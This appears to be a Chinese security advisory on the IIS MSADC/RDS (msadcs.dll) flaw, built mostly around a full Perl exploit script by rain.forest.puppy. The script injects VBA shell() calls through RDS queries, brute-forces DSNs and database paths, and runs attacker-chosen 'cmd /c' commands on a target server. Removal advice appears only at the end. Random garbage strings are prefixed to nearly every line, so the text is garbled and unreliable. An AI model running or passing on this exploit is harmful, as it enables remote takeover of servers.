IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
N3(.7mxo B&L-Lc2 涉及程序：
L E}V{%)xD Microsoft NT server
'4ip~>3?w YN}vAFR` 描述：
g^:
& Dh 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
<BiSx o]M1$)>b + 详细：
`n?Rxhkwp 如果你没有时间读详细内容的话，就删除:
/*2)|2w c:\Program Files\Common Files\System\Msadc\msadcs.dll
|i\%> Y, 有关的安全问题就没有了。
x n= #4:f H/U.Bg 4 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
l;d4Le m6uFmU*<M} 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
!oa/\p 关于利用ODBC远程漏洞的描述，请参看:
"`N A g :s*t \09V7 http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm hdeI /4 B eLIZ<zzW0} 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
2<9&OL http://www.microsoft.com/security/bulletins/MS99-025faq.asp wk#cJ`wG; lVCnu> 8 这里不再论述。
$0R5 ]]db) y$+=>p|d.^ 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
a+RUSz;DL 2HO2 /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
,rV;T";r 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
}9kn;rb$g >n3ig~0d nC(Lr,( #将下面这段保存为txt文件，然后: "perl -x 文件名"
2@W`OW Njm y+p"5 s" #!perl
D#P]tt.Z #
Ma4eu8
# MSADC/RDS 'usage' (aka exploit) script
vi.INe #
R^B8** N # by rain.forest.puppy
NxSSRv^rx #
*zQhTYY # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
h=Q2
?O8 # beta test and find errors!
VTU(C&"S eA *We use Socket; use Getopt::Std;
fA"c9(>m%] getopts("e:vd:h:XR", \%args);
k
t'[
//0Y#" print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
n-g#nE c: _Wq;bKG if (!defined $args{h} && !defined $args{R}) {
31\mF\{V print qq~
Z;S)GU G^ Usage: msadc.pl -h <host> { -d <delay> -X -v }
"~S2XcR[ E -h <host> = host you want to scan (ip or domain)
0{
_6le] -d <seconds> = delay between calls, default 1 second
2}XxRJ0
-X = dump Index Server path table, if available
c/^l2CJ0 -v = verbose
4
|bu= T -e = external dictionary file for step 5
Y9I|s{~ h^v#?3.@ Or a -R will resume a command session
Ii# +JY0k l$[,V:N ~; exit;}
u{7->[= -oTdi0P $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
p2U6B if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
"[-W( = if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
n0 G@BE1Y= if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
4V;-*: $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
U{qwhz( if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
^q`RaX) /;vHAtt;f if (!defined $args{R}){ $ret = &has_msadc;
IwBO#HR~) die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
D<:zw/IRE X,c`,B03 print "Please type the NT commandline you want to run (cmd /c assumed):\n"
"_2;+@+ . "cmd /c ";
M)U)Sc zHO $in=<STDIN>; chomp $in;
(>,b 5g $command="cmd /c " . $in ;
>6Jz=N, %mIdQQ, if (defined $args{R}) {&load; exit;}
u@P1`E1Q OsW* @v( print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
&bGf{P*Da &try_btcustmr;
d,o*{sM5d 7kI TssVHI print "\nStep 2: Trying to make our own DSN...";
~T/tk?:8Vi &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
f$5\ b[O .4l
cES~ print "\nStep 3: Trying known DSNs...";
;VE KrVD &known_dsn;
< 2fy(9y =**Q\ Sl print "\nStep 4: Trying known .mdbs...";
%%#bTyF &known_mdb;
;.<HpDfG_ #
2FrP5rC if (defined $args{e}){
R\Ckk;<$ print "\nStep 5: Trying dictionary of DSN names...";
OI8} v &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
\%9QE Q,Y^9g"B`~ print "Sorry Charley...maybe next time?\n";
.|Y n[?( exit;
6$kh5$[ q: X^V$` ##############################################################################
3[m2F O,Z =GW[UnO sub sendraw { # ripped and modded from whisker
m=Gb<)Y sleep($delay); # it's a DoS on the server! At least on mine...
;Wa&Dg/5` my ($pstr)=@_;
Jl6lZd(Np socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
dt>9mF q die("Socket problems\n");
\ .+:yV<$ if(connect(S,pack "SnA4x8",2,80,$target)){
;)SWwhQ select(S); $|=1;
Bj"fUI!dK print $pstr; my @in=<S>;
m . \JO select(STDOUT); close(S);
&;`E3$> return @in;
u.*}'C>^^v } else { die("Can't connect...\n"); }}
ZD7qw*3+ ~3&hvm[IQ ##############################################################################
dPxJ`8 xZM4CR9]*C sub make_header { # make the HTTP request
#_|O93HN' my $msadc=<<EOT
g_! xD;0 POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
)]LP8
J& User-Agent: ACTIVEDATA
/{P-WRz> Host: $ip
keG\-f Content-Length: $clen
Dd,i^,4Gj Connection: Keep-Alive
-1~o ~yGE UI'fzlB ADCClientVersion:01.06
Ino]::ZJ / Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
'1 fyBU @,}tY ?>a --!ADM!ROX!YOUR!WORLD!
M ac?HI Content-Type: application/x-varg
\zwm:@lG Content-Length: $reqlen
.>~er?- U_.}V EOT
m8G/;V[x ; $msadc=~s/\n/\r\n/g;
fU\;\ return $msadc;}
a, )/D_{1 ksJ 1:_ ##############################################################################
'i : lV' 86 !$<!I sub make_req { # make the RDS request
$ER9u2 my ($switch, $p1, $p2)=@_;
F- M)6&T my $req=""; my $t1, $t2, $query, $dsn;
'H4?V B2KBJ4rI[1 if ($switch==1){ # this is the btcustmr.mdb query
FFe{=H,= $query="Select * from Customers where City=" . make_shell();
J\p-5[E $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
B/^o$i $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
H0yM`7[y e
'F:LMX elsif ($switch==2){ # this is general make table query
sY ?wQ: $query="create table AZZ (B int, C varchar(10))";
rx@i .+ $dsn="$p1";}
!, rF(pz D~|q^Ms, % elsif ($switch==3){ # this is general exploit table query
5*Qzw[[= $query="select * from AZZ where C=" . make_shell();
,H<nNBv 3M $dsn="$p1";}
e* *'[3Y *65~qAd elsif ($switch==4){ # attempt to hork file info from index server
(
z F_< $query="select path from scope()";
\ hb$v $dsn="Provider=MSIDXS;";}
Ts|;5ya5m [-81s!#mkw elsif ($switch==5){ # bad query
F1L[C4' $query="select";
&&m1_K $dsn="$p1";}
)K`tnb.Pf Pj_DI)^ $t1= make_unicode($query);
f^F"e'1 $t2= make_unicode($dsn);
!R#PJH/TM $req = "\x02\x00\x03\x00";
sIl&\g<b $req.= "\x08\x00" . pack ("S1", length($t1));
h(3-/4 $req.= "\x00\x00" . $t1 ;
4L4u< $req.= "\x08\x00" . pack ("S1", length($t2));
ne 3t|JZ $req.= "\x00\x00" . $t2 ;
l Ft&cy2 $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
tp }Bz&V return $req;}
wlslG^^(! F g'{K%t4 ##############################################################################
g[~J107%A h0$ \JXk sub make_shell { # this makes the shell() statement
\OWxf[ return "'|shell(\"$command\")|'";}
Lxv_{~I* +_gA"I
##############################################################################
$fT#Wva-\d L|1~'Fz#w sub make_unicode { # quick little function to convert to unicode
"Vp :Sq9y my ($in)=@_; my $out;
l8_RA for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
fA[T5<66 return $out;}
:Z_abKt o]&P0 b ##############################################################################
&%k_BdlkQ St>
E\tXp sub rdo_success { # checks for RDO return success (this is kludge)
Goy[P2m my (@in) = @_; my $base=content_start(@in);
+^J;ic if($in[$base]=~/multipart\/mixed/){
'" ze Im~ return 1 if( $in[$base+10]=~/^\x09\x00/ );}
5B8fz;l= B return 0;}
jqTK7b ">S1,rhgS ##############################################################################
w\V<6_[vv. 7 s2*VKr sub make_dsn { # this makes a DSN for us
0tPw hJ my @drives=("c","d","e","f");
"gDk?w print "\nMaking DSN: ";
JE*?O*&|Q foreach $drive (@drives) {
:<0lC j print "$drive: ";
wyAh%'V my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
p6)6Gcx "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
npbf>n^R . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
~DB:/VSmu $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
wAzaxeV= return 0 if $2 eq "404"; # not found/doesn't exist
jIHY [yDT if($2 eq "200") {
jZvIqR / foreach $line (@results) {
se} $/Y}t return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
g2 mq?q(g } return 0;}
zzh7 "M3Qn ]g F=I5jn] ##############################################################################
D5].^*AbZ ~XvMiWuo sub verify_exists {
"-AFWW Ktx my ($page)=@_;
1|>bG#| my @results=sendraw("GET $page HTTP/1.0\n\n");
f 9IqcCSW return $results[0];}
v |(N osLEH?iKW ##############################################################################
q F`]}7"^ h gw S_L sub try_btcustmr {
HW'I $ . my @drives=("c","d","e","f");
' dv( my @dirs=("winnt","winnt35","winnt351","win","windows");
s.KfMJ"u[ vk M_a}%< foreach $dir (@dirs) {
6{g&9~V print "$dir -> "; # fun status so you can see progress
n* . <L foreach $drive (@drives) {
Ys?0hd<cn print "$drive: "; # ditto
A8Ae M ` $reqlen=length( make_req(1,$drive,$dir) ) - 28;
1-.i^ Hal $reqlenlen=length( "$reqlen" );
7qWa>f X $clen= 206 + $reqlenlen + $reqlen;
/#L4ec-' - ku8n%u my @results=sendraw(make_header() . make_req(1,$drive,$dir));
yZNg[KH if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
o" A?Aq else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
Fta=yH } Wg8*;dvtM ##############################################################################
%N\8!aXnf ) :Px`] 5 sub odbc_error {
&XXr5ne~C my (@in)=@_; my $base;
L&]{GNw my $base = content_start(@in);
/7Q9(} if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
_6YfPk+ $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
LA(/UA3Izd $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
kK0zb{ $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
9'|_1Q.b^ return $in[$base+4].$in[$base+5].$in[$base+6];}
/;u=#qu(E- print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
') 2LP;( print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
q%)."10}] $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
ltkA7dUbu 1$:O9 {F ##############################################################################
m Q<Vwx0 i~5'bSq c sub verbose {
=Pp-9<& S my ($in)=@_;
60D 6UW return if !$verbose;
&b-&0 rTqz print STDOUT "\n$in\n";}
!2/o]_K@+ XG5T`>Yl ##############################################################################
^(BE_<~ b'ir$RL] c sub save {
3u
s^\w# my ($p1, $p2, $p3, $p4)=@_;
`dl^)4J open(OUT, ">rds.save") || print "Problem saving parameters...\n";
qK%#$JgqA print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
X2P8Zq=%a close OUT;}
ldRq: M5z 9c5DEq ##############################################################################
Fa{[kJ8z "1p,
r&} sub load {
v`@N R06 my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
A-M6MW open(IN,"<rds.save") || die("Couldn't open rds.save\n");
/IH F @p=<IN>; close(IN);
c s:E^ $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
G1 I<B $target= inet_aton($ip) || die("inet_aton problems");
};gcM @]]E print "Resuming to $ip ...";
Mi}k>5VT $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
Vp1Nk# H if($p[1]==1) {
SxkY ;^-U $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
/NuO>kQa $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
&F'n
>QT9q my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
M `) 3(|4 if (rdo_success(@results)){print "Success!\n";}
EQ"+G[ j~x else { print "failed\n"; verbose(odbc_error(@results));}}
Z8f?uF elsif ($p[1]==3){
zP|^@Homk if(run_query("$p[3]")){
r*FAUb`bG print "Success!\n";} else { print "failed\n"; }}
\(zUI elsif ($p[1]==4){
vJX0c\e if(run_query($drvst . "$p[3]")){
e YiqT Wn: print "Success!\n"; } else { print "failed\n"; }}
Ypin bej exit;}
{ /
,?3 oTTE<Ct [ ##############################################################################
$"6Gv 3,Iu!KB sub create_table {
Odw9]`,T my ($in)=@_;
}1.'2. <Y $reqlen=length( make_req(2,$in,"") ) - 28;
~;t/VsgGW $reqlenlen=length( "$reqlen" );
^5k~ 7F. $clen= 206 + $reqlenlen + $reqlen;
$9W ,1wg my @results=sendraw(make_header() . make_req(2,$in,""));
iRV=I , return 1 if rdo_success(@results);
QQ %W3D @ my $temp= odbc_error(@results); verbose($temp);
B f.- 5 return 1 if $temp=~/Table 'AZZ' already exists/;
X"jtPYCpV{ return 0;}
i
nk !>Z dChMjaix ##############################################################################
B& 5Md .h =t. T9'{ sub known_dsn {
Xs~IoU # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
}yd!UU my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
1`~.!yd8( "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
J M;WCV%NM "banner", "banners", "ads", "ADCDemo", "ADCTest");
F^?DnZs oS<*\!&D foreach $dSn (@dsns) {
m +x$LkP print ".";
[&lH[:Y# next if (!is_access("DSN=$dSn"));
o;O Eb if(create_table("DSN=$dSn")){
p]7IoO
-@ print "$dSn successful\n";
|!CAxE0d$B if(run_query("DSN=$dSn")){
m<J:6^H@ print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
JoD@ e[( print "Something's borked. Use verbose next time\n";}}} print "\n";}
Of}C. N 8 ')Y1c O ##############################################################################
ZKM@ U?PK e\!Aoky sub is_access {
yI^7sf7k my ($in)=@_;
oVW>PEgB- $reqlen=length( make_req(5,$in,"") ) - 28;
B&<P >AZ $reqlenlen=length( "$reqlen" );
i1*0'x $clen= 206 + $reqlenlen + $reqlen;
~
e a K]| my @results=sendraw(make_header() . make_req(5,$in,""));
~.tYYX< my $temp= odbc_error(@results);
R@U4Ae{+ verbose($temp); return 1 if ($temp=~/Microsoft Access/);
AJ)&+H return 0;}
;s -@m< tq 51;L ##############################################################################
LjIkZ 'HuF D0>Pc9 sub run_query {
#$F*.vQSs+ my ($in)=@_;
-aV( 6i*n $reqlen=length( make_req(3,$in,"") ) - 28;
ZZi|0dG4; $reqlenlen=length( "$reqlen" );
Z;njSw%: $clen= 206 + $reqlenlen + $reqlen;
`>OKV;~{z my @results=sendraw(make_header() . make_req(3,$in,""));
6Cfsh<]b return 1 if rdo_success(@results);
% /qwqo`Q
my $temp= odbc_error(@results); verbose($temp);
z[y return 0;}
v8n^~=SH amQTPNI ##############################################################################
mA@!t>=oMq kI2+& sub known_mdb {
ae](= OQ my @drives=("c","d","e","f","g");
/Z[HU{4 my @dirs=("winnt","winnt35","winnt351","win","windows");
c e; zn\ my $dir, $drive, $mdb;
lQy-&d|=#^ my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
) $0>L5d: m u5r4W47 # this is sparse, because I don't know of many
z;_vl my @sysmdbs=( "\\catroot\\icatalog.mdb",
f .$*9Fkw "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
ZB} A^X "\\system32\\certmdb.mdb",
oxdX2"WwU "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
B{p74
> zg$ag4%Qgg my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
#Tt*NU "\\cfusion\\cfapps\\forums\\forums_.mdb",
uBxoMxWm "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
\
FJ ae "\\cfusion\\cfapps\\security\\realm_.mdb",
c _!!DEe7 "\\cfusion\\cfapps\\security\\data\\realm.mdb",
;--D?Gs]Qr "\\cfusion\\database\\cfexamples.mdb",
>(.Y%$9"E "\\cfusion\\database\\cfsnippets.mdb",
7 |GSs= "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
1N<n)>X4
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
z 4;@"B "\\cfusion\\brighttiger\\database\\cleam.mdb",
4C ;y2`C "\\cfusion\\database\\smpolicy.mdb",
L\t_ zf_0 "\\cfusion\\database\cypress.mdb",
K}2G4*8S_G "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
yvnDS"0 < "\\website\\cgi-win\\dbsample.mdb",
$PAAmai gi "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
!Ce!D0Tx "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
p#_ 5 w ); #these are just
GLX{EG9Z foreach $drive (@drives) {
E VC] B} foreach $dir (@dirs){
E0yx
@Vx foreach $mdb (@sysmdbs) {
{m@tt{% print ".";
o8v,17 8 if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
|~PaCw8-ge print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
\9uK^oS if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
uPjp5;V print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
`uZMln @ } else { print "Something's borked. Use verbose next time\n"; }}}}}
x 4sIZe+ p \9}}t7n foreach $drive (@drives) {
Yl:[b{Py foreach $mdb (@mdbs) {
{cb<9Fii print ".";
;r&Z?B$ if(create_table($drv . $drive . $dir . $mdb)){
6(uZ n= print "\n" . $drive . $dir . $mdb . " successful\n";
>/l B%<$/ if(run_query($drv . $drive . $dir . $mdb)){
vxLr 034 print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
[HUK
9hG } else { print "Something's borked. Use verbose next time\n"; }}}}
_[-W*,xJ) }
xR|^{y9n O&yAFiCd ##############################################################################
K]G(u"' ezCJq`b sub hork_idx {
\=]`X2Ld print "\nAttempting to dump Index Server tables...\n";
~8"oH5 print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
ewHs ]V+U $reqlen=length( make_req(4,"","") ) - 28;
dv+ZxP%g $reqlenlen=length( "$reqlen" );
9 q
2 vT^ $clen= 206 + $reqlenlen + $reqlen;
6 EO@ Xf7, my @results=sendraw2(make_header() . make_req(4,"",""));
V X>j2Z' if (rdo_success(@results)){
5Pxx)F9] my $max=@results; my $c; my %d;
.Eb]}8/}E for($c=19; $c<$max; $c++){
~PpDrJ; Va $results[$c]=~s/\x00//g;
<VutwtA $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
s{8=Q0^ $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
G--(Ef%v' $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
BV
}CmU&DA $d{"$1$2"}="";}
YOj&1ymBZ foreach $c (keys %d){ print "$c\n"; }
~!Nw]lb! } else {print "Index server doesn't seem to be installed.\n"; }}
2|d^#8)ZC F& m9G >r ##############################################################################
nk7>iK!i 9V[}#(f$ sub dsn_dict {
gIusp917 open(IN, "<$args{e}") || die("Can't open external dictionary\n");
X1o^MMpz(F while(<IN>){
4>LaA7)v $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
q=D8 Nz next if (!is_access("DSN=$dSn"));
&;)B
qqXc if(create_table("DSN=$dSn")){
K~I?i/P=z print "$dSn successful\n";
dr+(C[ = if(run_query("DSN=$dSn")){
vt^7:! r print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
p<#aXs jy print "Something's borked. Use verbose next time\n";}}}
LEx m#T` print "\n"; close(IN);}
!{+.)%d'g '`. -75T ##############################################################################
v9Sk\9}S i$Kx@,O8t sub sendraw2 { # ripped and modded from whisker
CCol>:8{P sleep($delay); # it's a DoS on the server! At least on mine...
JbS[(+o my ($pstr)=@_;
O9/)_:Wdh socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
.{*l, die("Socket problems\n");
M \ if(connect(S,pack "SnA4x8",2,80,$target)){
U s!ZQ#pP print "Connected. Getting data";
G
& NK open(OUT,">raw.out"); my @in;
ZfH>UHft select(S); $|=1; print $pstr;
8ih_S2Cd while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
D7JrGaF{ close(OUT); select(STDOUT); close(S); return @in;
$/tj<++W } else { die("Can't connect...\n"); }}
s }OL)rW=} 9+PAyI#w ##############################################################################
|iX>hJSl 0B!(i.w sub content_start { # this will take in the server headers
D}lqd Ja my (@in)=@_; my $c;
wy tMoG\ for ($c=1;$c<500;$c++) {
cz /cY:o) if($in[$c] =~/^\x0d\x0a/){
b1jDbiH& if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
k ,+,,W else { return $c+1; }}}
PnInsf%; return -1;} # it should never get here actually
vmrs(k "d# {*TB }Xsr, ##############################################################################
-m=A1~| 7 yiI
oqvP sub funky {
{wj%WSQj/y my (@in)=@_; my $error=odbc_error(@in);
L 6fbR-&Lt if($error=~/ADO could not find the specified provider/){
1iLo $ print "\nServer returned an ADO miscofiguration message\nAborting.\n";
2IRARZ,3 exit;}
?[m1? if($error=~/A Handler is required/){
AWx@Z7\z"g print "\nServer has custom handler filters (they most likely are patched)\n";
k{{3nenAG exit;}
KV | D]} if($error=~/specified Handler has denied Access/){
oy5K*
} print "\nServer has custom handler filters (they most likely are patched)\n";
ab%I&B<b exit;}}
v;9(FLtL B5vLV@>] ##############################################################################
j~K(xf ;nQ=!
.#Q sub has_msadc {
Z_xQ2uH$: my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
G'#u!<(^h my $base=content_start(@results);
fRLA;1va return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
:{iH(ae; return 0;}
f^lcw ]= %qm; ########################
jX8)Ov5Mv 0m4M@94 %_4#WI 解决方案：
kk6
!krZ 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
T$%QK?B 2、移除web 目录: /msadc
